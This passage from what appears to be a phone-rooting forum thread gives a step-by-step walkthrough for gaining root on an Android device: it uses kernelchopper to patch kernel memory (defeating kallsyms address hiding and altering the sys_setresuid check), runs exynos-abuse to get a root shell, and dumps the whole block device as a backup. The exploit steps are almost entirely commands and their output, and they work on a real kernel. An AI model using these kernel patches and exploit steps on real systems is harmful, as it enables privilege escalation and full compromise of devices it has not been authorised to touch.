      [COLOR="RoyalBlue"]80208000[/COLOR]-80d9e39f : Kernel code
      80f04000-8128184b : Kernel data
    ./kernelchopper d [COLOR="RoyalBlue"]80208000[/COLOR] c00000 | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 70 4b 20 25 63 20 25 73 0a 00\|: 4b 20 25 63 20 25 73 0a 00\|: 20 25 63 20 25 73 0a 00\|: 25 63 20 25 73 0a 00\|: 63 20 25 73 0a 00\|25 70 4b 20 25 63 20 25 73 0a $\|25 70 4b 20 25 63 20 25 73 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 $\|25 70 4b 20 25 63 $' | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 20 25 73 0a 00\|: 25 73 0a 00\|: 73 0a 00\|: 0a 00\|: 00\|25 70 4b 20 25 $\|25 70 4b 20 $\|25 70 4b $\|25 70 4b $\|25 70 $\|25 $' 
    [COLOR="Green"]80c281c[/COLOR]0: 5b 25 73 5d 0a 00 25 70 4b 20 25 63 20 25 73 0a 
    80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
     ./kernelchopper d [COLOR="Green"]80c281c[/COLOR]0 20
    80c281c0: [U]5b 25 73 5d 0a 00[/U] 25 70 4b 20 25 63 20 25 73 0a 
    80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f 
     ./kernelchopper d [COLOR="Green"]80c281c[/COLOR][U]6[/U] b
    [COLOR="Olive"]80c281c6[/COLOR]: [COLOR="Red"]25 70 4b 20 25 63 20 25 73 0a 00[/COLOR]
    ./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
    [COLOR="Red"]204b7025[/COLOR]
    ./grep sys_setresuid /proc/kallsyms
    00000000 T sys_setresuid
    00000000 T sys_setresuid16
    ./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR] 20207025
    ./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
    [COLOR="Red"]20207025[/COLOR]
    ./grep sys_setresuid /proc/kallsyms
    c[COLOR="SandyBrown"]00856f0[/COLOR]  T sys_setresuid
    c00b7318  T sys_setresuid16
    Notice that /proc/kallsyms now gives offsets instead of 00000000.

    STEP 2: patching sys_setresuid, applying manually exynos-abuse.c (found at 0x802856f0, which is 0x00856f0 plus 80208000). You should replace the underlined lone 8 by the number of bytes underlined, before the 00 00 50 e3 ...
    Code:
    ./kernelchopper d [COLOR="YellowGreen"]802856f0[/COLOR] 80 | ./grep '00 00 50 e3\|20 00 00 ea'
    [COLOR="Purple"]8028572[/COLOR]0: [U]04 72 93 e5 a7 da ff eb[/U] 00 00 50 e3 20 00 00 ea 
    ./kernelchopper d [COLOR="Purple"]8028572[/COLOR][U]8[/U] 8
    [COLOR="MediumTurquoise"]80285728[/COLOR]: [COLOR="Red"]00 00 50 e3 20 00 00 ea[/COLOR] 
    ./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR]
    [COLOR="Red"]e3500000[/COLOR]
    ./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR] e3500001

    STEP 3: getting a root shell.
    Code:
    ./exynos-abuse-static
    2000@android:/data/.tmp # /system/bin/id
    uid=[COLOR="Red"]0[/COLOR](root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

    And you are root until end of connexion by adb. I strongly suggest to you to make the first true backup, to have a chance to restore phone to current state. With an internal microSD, you can type:

    Code:
    cp grep bzip2
    ./bzip2 -c < /dev/block/mmcblk0 > /Removable/Storage1/backup.bz2

    To exploit this file, you will need kpartx.

    If you have NO internal microSD, try a network drive; or if you can wait a full day (like me), you can do:

    Code:
    cp grep bzip2
    cp grep uuencode
    ./bzip2 -c < /dev/block/mmcblk0 | ./uuencode -

    The result will be shown on current window, so you have better hide it once it works. I had a performance of 400kb/s with hidden xterm.

    You will then be able to recover its content with
    Code:
    LANG= grep -aA99999999 '^begin 666 -' < backup_before_installing_su_to_diskreal | uudecode -o backup.bz2

    You may now install /system/xbin/su, eventually renamed to avoid exposing su to malware.
    Here is my firmware (see attached pic).
    Code:
    Android version: 4.1.1, 3.4.0-perf-g64..., M3.13.30-A68_101034 [Jan 22 2013]

    If you need help, please type up-arrow repeatedly, down-arrow repeatedly, then provide the file backup_before_installing_su_to_diskreal.

    Credits to alephzain for original version of exynos-abuse.c, SW686 for kernelchopper.c, spartacusrex for Google-Play's Terminal IDE.
    1
    it seems both MotoChopper as well as framaroot are closed source rooters, so using them involves a certain risk...

    This is why I invented the more open-source method that is displayed three posts above.